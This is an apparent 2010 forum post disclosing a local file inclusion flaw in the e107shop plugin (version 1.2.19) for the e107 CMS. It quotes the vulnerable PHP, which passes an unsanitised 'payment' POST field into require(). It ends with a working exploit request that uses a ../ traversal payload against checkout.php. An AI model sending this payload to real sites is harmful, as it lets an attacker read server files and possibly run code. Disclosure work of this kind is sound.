Показать сообщение отдельно
Старый 05.07.2010, 12:17   #2
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [e107shop] Local File Inclusion Vulnerability

Plugin name: e107shop (download)
Version: 1.2.19

Local File Inclusion

Vuln file: /e107_plugins/e107shop/payment.php
PHP код:
<?php
/*...*/
$checkout .= e107shop_payment_forms($_POST["payment"], $grandTotal$_POST["customer_name"], $_POST["customer_last_name"], 
$_POST["customer_city"], $_POST["customer_state"], $_POST["customer_country"], $_POST["region"], 
$postage_price$_POST["customer_zip"], $_POST["customer_address1"] . "<br>" $_POST["customer_address2"], 
$_POST["customer_email"], $_POST["coupon"]);
/*...*/

# file: /e107_plugins/e107shop/library/payment_class.php

/*...*/
function e107shop_payment_forms($gateway$total$fname$lname$city
$state$country$region$postage$zip$address$email$coupon){
/*...*/
    // security traps
    
$gateway $tp->toDB($gateway);
/*...*/
    
$payment_text = require("gateways/".$gateway);
/*...*/

# file: /e107_handlers/e_parse_class.php

/*...*/
    
function toDB($data$nostrip false$no_encode false$mod false)
    {
        global 
$pref;
        if (
is_array($data)) {
            
// recursively run toDB (for arrays)
            
foreach ($data as $key => $var) {
                
$ret[$key] = $this -> toDB($var$nostrip$no_encode$mod);
            }
        } else {
            if (
MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                
$data stripslashes($data);
            }
            if(isset(
$pref['post_html']) && check_class($pref['post_html']))
            {
                
$no_encode TRUE;
            }
            if (
$no_encode === TRUE && $mod != 'no_html')
            {
                
$search = array('$''"'"'"'\\''<?');
                
$replace = array('$','&quot;',''', '\', '&lt;?');
                $ret = str_replace($search, $replace, $data);
            } else {
                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                $data = str_replace('
\\', '\', $data);
                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
            }

            if(!check_class($pref['
php_bbcode']))
            {
                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
/*...*/
        return $ret;
    }
/*...*/
Exploit:
Код:
POST http://[host]/[path]/e107_plugins/e107shop/checkout.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded

payment=../../../../../[local_file]&pay=Proceed

Последний раз редактировалось RulleR; 12.07.2010 в 14:04..
RulleR вне форума   Ответить с цитированием